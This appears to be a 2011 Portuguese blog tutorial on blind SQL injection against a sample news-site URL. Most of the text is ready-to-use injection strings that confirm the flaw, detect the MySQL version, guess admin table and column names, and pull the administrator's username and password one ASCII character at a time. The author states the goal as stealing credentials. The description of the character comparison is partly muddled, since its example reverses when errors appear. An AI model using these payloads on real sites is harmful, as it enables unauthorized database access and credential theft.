0

Como é feito um ataque SQLi

criado por Jefrey em 28/08/2011 3:22pm
Blind SQLi
O ataque Blind SQLi ocorre quando nenhum erro é retornado na página. É um pouco mais demorado, já que a validação é feita caractere por caractere.

Vamos supor que temos o seguinte site, aberto em uma notícia:

www.site.com.br/noticias.php?ID=10

Após scanearmos ele descobrimos que existe uma falha, e está vulnerável a SQL. Até então tudo bem, porém quando tentamos utilizar o comando Union, não é retornado nenhum erro. Sabendo isso iremos tentar utilizar a técnica do Blind SQL Injection. Para isto iremos verificar se ele está vulnerável mesmo:

www.site.com.br/noticias.php?ID=10 And 1=1
(A página carregará normal em todos os casos)

Agora veremos realmente se está vulneravel:

www.site.com.br/noticias.php?ID=10 And 1=2
(Se aparecerem numeros avulços, datas, etc. Ou se tiverem faltando figuras. O site é vulnerável.)

Agora precisaremos descobrir a versão do servidor MySQL.
Para isto utilizaremos SUBSTRINGS.

www.site.com.br/noticias.php?ID=10 And Substring(@@Version,1,1)=5
(Se a versão do MySQL for 5, então o site não retornará erro. A página será carregada normal.)

Agora, se estiver faltando algo, imagens, textos, ou aparecer numeros e datas, a versão do MySQL provavelmente será a 4. Para comprovar isto:

www.site.com.br/noticias.php?ID=10 And Substring(@@Version,1,1)=4
(Se a versão do MySQL for 4, então o site não retornará erro. A página será carregada normal.)

Como já temos a versão do MySQL podemos proceder.
Agora iremos verificar se o comando SUBSELECT funciona. Quando o SELECT não funciona utilizamos ele.

Para verificarmos iremos fazer isto:

www.site.com.br/noticias.php?ID=10 And (Select 1)=1
(Caso a página seja carregada normal, então o SUBSELECT funciona.)

Nesta parte iremos descobrir os nomes das tabelas e das colunas. Iremos usar uma técnica muito utilizada: CHUTE rsrs
Teremos como base os nomes mais comuns, como: admin, users, adm, usuarios, usuario ...

Vamos descobrir a tabela:

www.site.com.br/noticias.php?ID=10 And (Select 1 From admin Limit 0,1)=1
(Se a página carregar normal, sem nada faltando, ou numeros na tela, acertamos a tabela! Caso contrário você deve continuar testando até encontrar a certa)

Para descobrirmos o nome das colunas agora:

www.site.com.br/noticias.php?ID=10 And (Select Substring(Concat(1,Senha),1,1) From Admin Limit 0,1)=1
(Então, se a página carregar normal, é porque a coluna Senha existe na tabela Admin!)

Então vamos verificar se a coluna Usuario existe:

www.site.com.br/noticias.php?ID=10 And (Select Substring(Concat(1,Usuario),1,1) From Admin Limit 0,1)=1
(Então, se a página carregar normal, é porque a coluna Usuario existe na tabela Admin!)

Vamos supor que deu certo as colunas Usuario e Senha na tabela Admin. Então precisamos descobrir estes dados.
Esta parte é mais complicada, e demorada. Teremos que descobrir letra por letra dos campos, em ASCII. Por isto recomendo este site, que possui o alfabeto inteiro em ASCII:

http://easycalculation.com/ascii-hex.php

Para descobrirmos os dados, faremos assim:

www.site.com.br/noticias.php?ID=10 And ASCII(Substring((SELECT Concat(Usuario,0x3a,Senha) From Admin Limit 0,1),1,1))>65

No código acima nós iremos descobrir a primeira letra em ASCII da coluna Usuario da tabela Admin. Reparem que está ">65". O "65" é o equivalente ao "A" em ASCII. Então deveremos ir incrementando ele até o servidor retornar o erro. O número antes do erro é o nosso caractere.
Assim se desse erro seria algo parecido "maior que 65"

Para quem não entendeu a explicação vai um exemplo...

Ex:

>95 - Erro
>96 - Erro
>97 - Página carregada normal.
Assim nosso caractere em ASCII é o 97, equivalente ao "a".

Vamos então descobrir o segundo caractere:

www.site.com.br/noticias.php?ID=10 And ASCII(Substring((SELECT Concat(Usuario,0x3a,Senha) From Admin Limit 0,1),2,1))>65

Fomos incrementando até o 112, que significa "p".
Então temos "ap".
Para descobrir também quantos caracteres possuem basta ir incrementando o "2,1", "3,1" até a página não ser carregada com sucesso!

Comentários:

Nenhum comentário foi enviado ainda.

Novo Comentário:

(Você pode usar tags como <b>, <i> ou <code>. URLs serão convertidas para links automaticamente.)